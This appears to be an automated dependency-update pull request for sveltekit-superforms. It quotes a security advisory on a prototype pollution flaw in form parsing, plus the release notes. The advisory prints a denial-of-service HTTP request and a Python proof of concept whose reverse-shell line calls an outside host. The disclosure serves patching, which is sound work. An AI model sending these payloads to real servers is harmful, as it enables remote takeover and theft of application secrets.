chore(deps): update dependency sveltekit-superforms to v2.27.4 [security]

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This PR contains the following updates:

Package	Change	Age	Confidence
sveltekit-superforms (source)	2.27.1 -> 2.27.4

GitHub Vulnerability Alerts

CVE-2025-62381

Summary

sveltekit-superforms v2.27.3 and prior are susceptible to a prototype pollution vulnerability within the parseFormData function of formData.js. An attacker can inject string and array properties into Object.prototype, leading to denial of service, type confusion, and potential remote code execution in downstream applications that rely on polluted objects.

Details

Superforms is a SvelteKit form library for server and client form validation. Under normal operation, form validation is performed by calling the the superValidate function, with the submitted form data and a form schema as arguments:

// https://superforms.rocks/get-started#posting-data
const form = await superValidate(request, your_adapter(schema));

Within the superValidate function, a call is made to parseRequest in order to parse the user's input. parseRequest then calls into parseFormData, which in turn looks for the presence of __superform_json in the form parameters. If __superform_json is present, the following snippet is executed:

// src/lib/formData.ts
if (formData.has('__superform_json')) {
	try {
		const transport =
			options && options.transport
				? Object.fromEntries(Object.entries(options.transport).map(([k, v]) => [k, v.decode]))
				: undefined;

		const output = parse(formData.getAll('__superform_json').join('') ?? '', transport);
		if (typeof output === 'object') {
			// Restore uploaded files and add to data
			const filePaths = Array.from(formData.keys());

			for (const path of filePaths.filter((path) => path.startsWith('__superform_file_'))) {
				const realPath = splitPath(path.substring(17));
				setPaths(output, [realPath], formData.get(path));
			}

			for (const path of filePaths.filter((path) => path.startsWith('__superform_files_'))) {
				const realPath = splitPath(path.substring(18));
				const allFiles = formData.getAll(path);

				setPaths(output, [realPath], Array.from(allFiles));
			}

			return output as Record<string, unknown>;
		}
	} catch {
		//
	}
 }

This snippet deserializes JSON input within the __superform_json, and then performs a nested assignment into the deserialized object using values from form parameters beginning with __superform_file_ and __superform_files_. Since both the target property and value of the assignment is controlled by user input, an attacker can use this to pollute the base object prototype. For example, the following request will pollute Object.prototype.toString, which leads to a persistent denial of service in many applications:

POST /signup HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:143.0) Gecko/20100101 Firefox/143.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://example.com/signup
content-type: application/x-www-form-urlencoded
x-sveltekit-action: true
Content-Length: 70
Origin: http://example.com
Connection: keep-alive
Priority: u=0
Pragma: no-cache
Cache-Control: no-cache

__superform_json=[{}]&__superform_files___proto__.toString='corrupted'

PoC

The following PoC demonstrates how this vulnerability can be escalated to remote code execution in the presence of suitable gadgets. The example app represents a typical application signup route, using the popular nodemailer library (5 million weekly downloads from npm).

routes/signup/schema.ts:

import { z } from "zod/v4";

export const schema = z.object({
    email: z
        .email({
            error: "Please enter a valid email address.",
        })
        .min(1, {
            error: "Email address is required.",
        }),
    password: z.string().min(8, {
        error: "Password must be at least 8 characters long.",
    }),
});

routes/signup/+page.server.ts:

import { zod4 } from "sveltekit-superforms/adapters";
import { fail, setError, superValidate } from "sveltekit-superforms";
import { schema } from "./schema";
import nodemailer from "nodemailer";
import {
    MAIL_USER,
    MAIL_CLIENT_ID,
    MAIL_CLIENT_SECRET,
    MAIL_REFRESH_TOKEN,
} from "$env/static/private";

export const actions = {
    default: async ({ request }) => {
        const form = await superValidate(request, zod4(schema));

        if (!form.valid) {
            return fail(400, { form });
        }

        // <insert other signup code here: DB ops, logging etc..>

        nodemailer
            .createTransport({
                service: "gmail",
                auth: {
                    type: "OAuth2",
                    user: MAIL_USER,
                    clientId: MAIL_CLIENT_ID,
                    clientSecret: MAIL_CLIENT_SECRET,
                    refreshToken: MAIL_REFRESH_TOKEN,
                },
            })
            .sendMail({
                to: form.data.email,
                subject: "Welcome to $app!",
                html: "<p> Welcome to $app. We hope you enjoy your stay.</p>",
                text: "Welcome to $app. We hope you enjoy your stay.",
            });
    },
};

The following Python script then pollutes the base object prototype in order to achieve RCE.

#!/usr/bin/env python3

import requests

RHOST = "http://localhost:4173"
session = requests.Session()

r = session.post(
    f"{RHOST}/signup",
    data={
        "__superform_json": "[{}]",
        "__superform_file___proto__.sendmail": "1",
        "__superform_file___proto__.path": "/bin/bash",
        "__superform_files___proto__.args": [
            "-c",
            "bash -i >& /dev/tcp/dread.mantel.group/443 0>&1",
            "--",
        ],
    },
    headers={"Origin": RHOST},
)

r = session.post(
    f"{RHOST}/signup",
    data={"email": "me@example.com", "password": "usersignuppassword"},
    headers={"Origin": RHOST},
)

In addition to nodemailer, the Language-Based Security group at KTH Royal Institute of Technology also compiles gadgets in many other popular libraries and runtimes, which can be used together with this vulnerability.

Impact

Attackers can inject string and array properties into Object.prototype. This has a high probability of leading to denial of service and type confusion, with potential escalation to other impacts such as remote code execution, depending on the presence of reliable gadgets.

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Release Notes

ciscoheat/sveltekit-superforms (sveltekit-superforms)

v2.27.4

Compare Source

Security

• Fixed prototype pollution when using dataType: 'json'.

v2.27.3

Compare Source

v2.27.2

Compare Source

Security

• Devalue version bumped to avoid prototype pollution.

Fixed

• Zod 4 tests working.
• Zod 4 adapter didn't use the correct JSON Schema format for dates.
• Nested data traversal for correcting invalid types didn't stop at a valid value, replacing paths with default data further down the tree.

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